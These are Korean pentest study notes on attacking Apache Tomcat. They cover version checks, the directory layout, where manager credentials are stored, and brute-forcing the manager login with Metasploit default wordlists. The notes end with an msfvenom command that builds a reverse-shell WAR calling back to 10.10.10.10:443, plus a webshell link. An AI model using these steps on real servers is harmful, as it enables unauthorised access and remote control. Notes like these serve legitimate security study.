Apache Tomcat

  • Tomcat: Java로 작성된 애플리케이션 호스팅 오픈소스 웹서버
  • Spring, Gradle같은 Java 기반 프레임워크에서 쓰임

Version Check

  • 404 페이지 확인
  • /docs 페이지 확인

Directory structure

├── bin # Tomcat 실행 스크립트 및 바이너리 저장
├── conf # Tomcat 관련 config 저장
│   ├── catalina.policy
│   ├── catalina.properties
│   ├── context.xml
│   ├── tomcat-users.xml # 사용자 자격증명 및 역할 저장
│   ├── tomcat-users.xsd
│   └── web.xml
├── lib # Tomcat 동작에 필요한 여러 JAR 파일들 저장
├── logs # 임시 로그 파일
├── temp # 임시 로그 파일
├── webapps # 기본 웹 루트
│   ├── manager
│   │   ├── images
│   │   ├── META-INF
│   │   └── WEB-INF
|   |       └── web.xml
│   └── ROOT
│       └── WEB-INF
└── work # 캐시 파일 저장
    └── Catalina
        └── localhost
  • tomcat-users.xml: manager / host-manager 관리 페이지에 대한 접근 권한 및 계정 크리덴셜 저장

Webapps/customapp directory:

webapps/customapp
├── images
├── index.jsp
├── META-INF
│   └── context.xml
├── status.xsd
└── WEB-INF
    ├── jsp
    |   └── admin.jsp
    └── web.xml
    └── lib
    |    └── jdbc_drivers.jar
    └── classes # 애플리케이션에서 사용하는 컴파일된 클래스
        └── AdminServlet.class
  • web.xml: 애플리케이션에서 사용하는 경로 및 클래스에 대한 정보 저장. LFI 취약점을 활용할 때 확인해야 할 파일

Login Brute Force

  • ffuf가 아닌, for문으로 한번에 하나씩 시도해야 하는듯. (curl, python 스크립트 등..) 활용 가능 워드리스트:
# Username
/usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
 
# PASSWORD
/usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt

관리자 계정을 획득하면, 웹쉘을 업로드하거나 리버스쉘 war를 업로드할 수 있다

# WebShell
https://github.com/p0dalirius/Tomcat-webshell-application
 
# msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f war > rev.war